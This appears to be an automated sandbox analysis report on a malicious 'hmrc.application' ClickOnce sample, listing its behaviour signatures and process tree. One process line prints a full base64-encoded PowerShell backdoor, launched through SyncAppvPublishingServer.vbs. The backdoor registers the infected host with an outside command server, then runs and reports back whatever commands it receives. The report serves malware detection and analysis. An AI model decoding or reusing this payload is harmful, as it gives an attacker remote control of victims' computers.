Overview

overview

8

Static

static

1

hmrc.application

windows10-2004-x64

8

hmrc.application

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/09/2026, 10:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    hmrc.application
  • Size 1KB
  • Sample260924-mclsbabb79
  • SHA256 d1171b74d712640887c568eaa337a60f98e7f0fccfda7278cc2c2be2cd701905
  • MD5 SHA1 SHA512 TLSH
Score
8/10
discoveryexecution

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication C:\Users\Admin\AppData\Local\Temp\hmrc.application
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3756
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      2⤵
      • Downloads MZ/PE file
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5620
      • C:\Users\Admin\AppData\Local\Apps\2.0\ED0P34LD.EGJ\GCGXRHX4.POD\hmrc...app_0000000000000000_0001.0000_c2bd33eb0fa50a58\dfsvc.exe
        "C:\Users\Admin\AppData\Local\Apps\2.0\ED0P34LD.EGJ\GCGXRHX4.POD\hmrc...app_0000000000000000_0001.0000_c2bd33eb0fa50a58\dfsvc.exe"
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1612
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "SyncAppvPublishingServer.vbs" "n;powershell.exe -enc ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAFAAQQBkAGQAcgBlAHMAcwAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGkAcAAgAD0AIAAoAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHAAaQAuAGkAcABpAGYAeQAuAG8AcgBnAD8AZgBvAHIAbQBhAHQAPQB0AGUAeAB0ACIAIAAtAFUAcwBlAHIAQQBnAGUAbgB0ACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4AVAByAGkAbQAoACkACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGkAcAAKACAAIAAgACAAfQAKACAAIAAgACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACIAVQBuAGsAbgBvAHcAbgAgAEkAUAAiAAoAIAAgACAAIAB9AAoAfQAKAGYAdQBuAGMAdABpAG8AbgAgAFMAdABhAHIAdAAtAEEAZAB2AGEAbgBjAGUAZABCAGUAYQBjAG8AbgAgAHsACgAgACAAIAAgAFsAQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAoACkAXQAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEMAMgBVAHIAbAAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAZgBhAGwAcwBlACkAXQAKACAAIAAgACAAIAAgACAAIABbAGkAbgB0AF0AJABTAGwAZQBlAHAAVABpAG0AZQAgAD0AIAA1ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAVgBhAGwAaQBkAGEAdABlAFIAYQBuAGcAZQAoADAALAAxADAAMAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBpAG4AdABdACQASgBpAHQAdABlAHIAIAA9ACAAMQA1ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABmAGEAbABzAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAFUAcwBlAHIAQQBnAGUAbgB0ACAAPQAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwA5ADEALgAwAC4ANAA0ADcAMgAuADEAMgA0ACAAUwBhAGYAYQByAGkALwA1ADMANwAuADMANgAiAAoAIAAgACAAIAApAAoAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEQAbwB0AE4AZQB0AFMAaABlAGwAbAAgAHsACgAgACAAIAAgACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAQwBvAG0AbQBhAG4AZAApAAoAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQAIAA9ACAAQAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAATwB1AHQAcAB1AHQAIAA9ACAAIgAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARQByAHIAbwByACAAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFAAUwBJAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUABvAHcAZQByAFMAaABlAGwAbABdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAHYAbwBpAGQAXQAkAFAAUwBJAG4AcwB0AGEAbgBjAGUALgBBAGQAZABTAGMAcgBpAHAAdAAoACQAQwBvAG0AbQBhAG4AZAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACAAPQAgACQAUABTAEkAbgBzAHQAYQBuAGMAZQAuAEkAbgB2AG8AawBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGkAbgBnACAAPQAgACgAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAKQAuAFQAcgBpAG0AKAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGkAbgBnACAAPQAgACIAQwBvAG0AbQBhAG4AZAAgAGUAeABlAGMAdQB0AGUAZAAgAHcAaQB0AGgAIABuAG8AIABvAHUAdABwAHUAdAAuACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAFAAUwBJAG4AcwB0AGEAbgBjAGUALgBTAHQAcgBlAGEAbQBzAC4ARQByAHIAbwByAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEUAcgByAG8AcgBTAHQAcgBpAG4AZwAgAD0AIAAoACQAUABTAEkAbgBzAHQAYQBuAGMAZQAuAFMAdAByAGUAYQBtAHMALgBFAHIAcgBvAHIAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApAC4AVAByAGkAbQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQALgBPAHUAdABwAHUAdAAgAD0AIAAiACQATwB1AHQAcAB1AHQAUwB0AHIAaQBuAGcAYABuAFsARQBSAFIATwBSACAAUwBUAFIARQBBAE0AXQA6AGAAbgAkAEUAcgByAG8AcgBTAHQAcgBpAG4AZwAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFIAZQBzAHUAbAB0AE8AYgBqAGUAYwB0AC4ARQByAHIAbwByACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwB1AGwAdABPAGIAagBlAGMAdAAuAE8AdQB0AHAAdQB0ACAAPQAgACQATwB1AHQAcAB1AHQAUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABQAFMASQBuAHMAdABhAG4AYwBlAC4ARABpAHMAcABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwB1AGwAdABPAGIAagBlAGMAdAAuAE8AdQB0AHAAdQB0ACAAPQAgACIARQB4AGUAYwB1AHQAaQBvAG4AIABFAG4AZwBpAG4AZQAgAEYAYQBpAGwAZQBkADoAIAAkACgAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACkAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQALgBFAHIAcgBvAHIAIAA9ACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAFIAZQBzAHUAbAB0AE8AYgBqAGUAYwB0AAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAIAA9ACAAIgBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEwAaQBiAHIAYQByAGkAZQBzAFwAQwBhAGMAaABlAGQAUwBlAHQAdABpAG4AZwBzAC4AagBzAG8AbgAiAAoAIAAgACAAIAAkAEEAZwBlAG4AdABJAEQAIAAgACAAIAA9ACAAJABuAHUAbABsAAoAIAAgACAAIAAkAEkAcwBOAGUAdwBBAGcAZQBuAHQAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAG8AbgBmAGkAZwAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEMAbwBuAGYAaQBnAC4AQQBnAGUAbgB0AEkARAAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABbAHMAdAByAGkAbgBnAF0AOgA6AEkAcwBOAHUAbABsAE8AcgBXAGgAaQB0AGUAUwBwAGEAYwBlACgAJABBAGcAZQBuAHQASQBEACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABBAGcAZQBuAHQASQBEACAAPQAgAFsARwB1AGkAZABdADoAOgBOAGUAdwBHAHUAaQBkACgAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkACgAgACAAIAAgACAAIAAgACAAJABJAHMATgBlAHcAQQBnAGUAbgB0ACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAfQAKACAAIAAgACAAJABlAHgAcABsAG8AcgBlAHIAVQBzAGUAcgAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQApAC4AVQBzAGUAcgBOAGEAbQBlAAoAIAAgACAAIAAkAEgAbwBzAHQAbgBhAG0AZQAgAD0AIAAkAGUAeABwAGwAbwByAGUAcgBVAHMAZQByAC4AUwBwAGwAaQB0ACgAIgBcACIAKQBbADAAXQAKACAAIAAgACAAJABVAHMAZQByAG4AYQBtAGUAIAA9ACAAJABlAHgAcABsAG8AcgBlAHIAVQBzAGUAcgAuAFMAcABsAGkAdAAoACIAXAAiACkAWwAxAF0ACgAgACAAIAAgACQATwBTAE4AYQBtAGUAIAA9ACAAWwBzAHQAcgBpAG4AZwBdACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgAKACAAIAAgACAAJABBAHIAYwBoACAAIAAgAD0AIABbAHMAdAByAGkAbgBnAF0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAC0AQwBsAGEAcwBzAE4AYQBtAGUAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgApAC4ATgBhAG0AZQAKACAAIAAgACAAJABIAGUAYQBkAGUAcgBzACAAPQAgAEAAewAKACAAIAAgACAAIAAgACAAIAAiAFgALQBBAGcAZQBuAHQALQBJAEQAIgAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIAIAA9ACAAJABVAHMAZQByAEEAZwBlAG4AdAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAEkAcwBOAGUAdwBBAGcAZQBuAHQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABJAFAAQQBkAGQAcgBlAHMAcwAgAD0AIABHAGUAdAAtAEkAUABBAGQAZAByAGUAcwBzACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAUgBlAGcAUABhAHkAbABvAGEAZAAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABUAHkAcABlACAAIAAgACAAIAAgAD0AIAAiAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGcAZQBuAHQASQBEACAAIAAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABIAG8AcwB0AG4AYQBtAGUAIAAgAD0AIAAkAEgAbwBzAHQAbgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFUAcwBlAHIAbgBhAG0AZQAgACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAATwBTACAAIAAgACAAIAAgACAAIAA9ACAAJABPAFMATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEEAcgBjAGgAIAAgACAAIAAgACAAPQAgACQAQQByAGMAaAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAUAAgACAAIAAgACAAIAAgACAAPQAgACQASQBQAEEAZABkAHIAZQBzAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABQAEkARAAgACAAIAAgACAAIAAgAD0AIAAkAFAASQBEAAoAIAAgACAAIAAgACAAIAAgAH0AIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACAALQBEAGUAcAB0AGgAIAAyAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwByAGUAZwBpAHMAdABlAHIAIgAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBCAG8AZAB5ACAAJABSAGUAZwBQAGEAeQBsAG8AYQBkACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgAgAC0ASABlAGEAZABlAHIAcwAgACQASABlAGEAZABlAHIAcwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAHIAZQBhAGsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgAwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwB0AGEAdABlAEQAYQB0AGEAIAA9ACAAQAB7ACAAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEEAZwBlAG4AdABJAEQAOwAgAFIAZQBnAGkAcwB0AGUAcgBlAGQAQQB0ACAAPQAgACgARwBlAHQALQBEAGEAdABlACkAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUABhAHIAZQBuAHQARABpAHIAIAA9ACAAUwBwAGwAaQB0AC0AUABhAHQAaAAgACQAQwBvAG4AZgBpAGcAUABhAHQAaAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFAAYQByAGUAbgB0AEQAaQByACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAFAAYQByAGUAbgB0AEQAaQByACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFMAdABhAHQAZQBEAGEAdABhACAAfAAgAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAQwBvAG4AZgBpAGcAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABHAGUAdAAtAEkAdABlAG0AIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAKQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAIgBIAGkAZABkAGUAbgAiAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwBwAG8AbgBzAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwB0AGEAcwBrAHMAIgAgAC0ATQBlAHQAaABvAGQAIABHAGUAdAAgAC0ASABlAGEAZABlAHIAcwAgACQASABlAGEAZABlAHIAcwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAUgBlAHMAcABvAG4AcwBlAC4AQwBvAG0AbQBhAG4AZAApACAALQBhAG4AZAAgACQAUgBlAHMAcABvAG4AcwBlAC4AQwBvAG0AbQBhAG4AZAAgAC0AbgBlACAAIgBOAG8ATwBwACIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAVABhAHMAawBJAEQAIAA9ACAAJABSAGUAcwBwAG8AbgBzAGUALgBUAGEAcwBrAEkARAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAG0AZABTAHQAcgBpAG4AZwAgAD0AIAAkAFIAZQBzAHAAbwBuAHMAZQAuAEMAbwBtAG0AYQBuAGQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQARQB4AGUAYwBSAGUAcwB1AGwAdAAgAD0AIABJAG4AdgBvAGsAZQAtAEQAbwB0AE4AZQB0AFMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACQAQwBtAGQAUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQAUABhAHkAbABvAGEAZAAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABhAHMAawBJAEQAIAAgAD0AIAAkAFQAYQBzAGsASQBEAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBzAHUAbAB0ACAAIAA9ACAAJABFAHgAZQBjAFIAZQBzAHUAbAB0AC4ATwB1AHQAcAB1AHQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAdAB1AHMAIAAgAD0AIABpAGYAIAAoACQARQB4AGUAYwBSAGUAcwB1AGwAdAAuAEUAcgByAG8AcgApACAAewAgACIARQByAHIAbwByACIAIAB9ACAAZQBsAHMAZQAgAHsAIAAiAEMAbwBtAHAAbABlAHQAZQBkACIAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAANQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwByAGUAcwB1AGwAdABzACIAIAAtAE0AZQB0AGgAbwBkACAAUABvAHMAdAAgAC0AQgBvAGQAeQAgACQAUgBlAHMAdQBsAHQAUABhAHkAbABvAGEAZAAgAC0AQwBvAG4AdABlAG4AdABUAHkAcABlACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAAtAEgAZQBhAGQAZQByAHMAIAAkAEgAZQBhAGQAZQByAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewB9AAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABKAGkAdAB0AGUAcgAgAC0AZwB0ACAAMAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASgBpAHQAdABlAHIAVgBhAGwAIAA9ACAAJABTAGwAZQBlAHAAVABpAG0AZQAgACoAIAAoACQASgBpAHQAdABlAHIAIAAvACAAMQAwADAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBhAG4AZABvAG0ARABpAGYAZgAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgAgACgALQAxACAAKgAgACQASgBpAHQAdABlAHIAVgBhAGwAKQAgAC0ATQBhAHgAIAAkAEoAaQB0AHQAZQByAFYAYQBsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABBAGMAdAB1AGEAbABTAGwAZQBlAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAUwBsAGUAZQBwAFQAaQBtAGUAIAArACAAJABSAGEAbgBkAG8AbQBEAGkAZgBmACwAIAAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAQQBjAHQAdQBhAGwAUwBsAGUAZQBwACAALQBsAHQAIAAxACkAIAB7ACAAJABBAGMAdAB1AGEAbABTAGwAZQBlAHAAIAA9ACAAMQAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBjAHQAdQBhAGwAUwBsAGUAZQBwACAAPQAgACQAUwBsAGUAZQBwAFQAaQBtAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAEEAYwB0AHUAYQBsAFMAbABlAGUAcAAKACAAIAAgACAAfQAKAH0ACgAkAFQAYQByAGcAZQB0AEMAMgAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AGgAZQBsAG8AdgBlAG8AZgB0AGgAZQAuAGMAbwBtACIAIAAKAFMAdABhAHIAdAAtAEEAZAB2AGEAbgBjAGUAZABCAGUAYQBjAG8AbgAgAC0AQwAyAFUAcgBsACAAJABUAGEAcgBnAGUAdABDADIAIAAtAFMAbABlAGUAcABUAGkAbQBlACAAMwA1ADAAIAAtAEoAaQB0AHQAZQByACAAMgAwAA=="
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n;powershell.exe -enc 